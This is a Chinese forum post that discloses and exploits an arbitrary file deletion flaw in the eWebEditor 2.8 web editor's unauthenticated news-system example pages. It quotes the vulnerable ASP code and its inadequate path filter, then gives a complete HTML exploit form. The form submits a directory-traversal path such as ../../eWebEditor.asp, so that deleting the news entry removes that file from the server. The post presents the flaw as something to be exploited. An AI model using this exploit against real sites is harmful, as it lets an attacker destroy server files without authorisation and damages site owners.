|  
 帖子131 积分1083 威望358  金钱2450  在线时间414 小时 
 | 
[分享] ewebeditor2.8最终版删除任意文件漏洞利用 
| 这个漏洞可以很鸡肋,也可以很致命,关键看你怎么利用! 
 此漏洞存在于ExampleNewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入,看这些代码:
 
 ' 把带"|"的字符串转为数组
 Dim aSavePathFileName
 aSavePathFileName = Split(sSavePathFileName, "|")
 ' 删除新闻相关的文件,从文件夹中
 Dim i
 For i = 0 To UBound(aSavePathFileName)
 ' 按路径文件名删除文件
 Call DoDelFile(aSavePathFileName(i))
 Next
 
 而aSavePathFileName是前面从数据库取出来的:
 
 sSavePathFileName = oRs("D_SavePathFileName")
 
 看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:
 
 sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename"))
 ...
 oRs("D_SavePathFileName") = sSavePathFileName
 
 居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:
 
 Function GetSafeStr(str)
 GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
 End Function
 
 无语,这不是过滤字符型注入的函数么?放这里什么用也没有啊!既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新闻,于是主目录下的eWebEditor.asp不见了!
 
 下面给出利用的htm:
 
 <HTML><HEAD><TITLE>eWebEditor删除文件 by:oldjun(http://www.oldjun.com)</TITLE>
 <style>body,p,td,input {font-size:9pt}</style>
 </HEAD><BODY><a href='list.asp'>新闻列表</a> | <a href='add.asp'>增加新闻</a>
 
 <b>增加新闻</b>
 
 <form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"
 method="post" name="myform">
 <input type=hidden name=d_originalfilename>
 <input type=hidden name=d_savefilename>
 <table cellspacing=3 align=center>
 <tr><td>要删的文件(相对路径就可以了):</td>
 <td><input type="text" name="d_savepathfilename" value="" size="90"></td>
 </tr>
 <tr><td>新闻标题(随便填):</td>
 <td><input type="text" name="d_title" value="" size="90"></td>
 </tr>
 <tr><td>标题图片:</td>
 <td><select name="d_picture" size=1><option value=''>无</option></select>
 当编辑区有插入图片时,将自动填充此下拉框</td>
 </tr>
 <tr><td>新闻内容(随便填):</td>
 <td><textarea name="d_content"></textarea></td>
 </tr>
 </table>
 
 <input type=submit name=btnSubmit value=" 提 交 ">
 <input type=reset name=btnReset value=" 重 填 ">
 </form>
 </BODY></HTML>
 | 
 |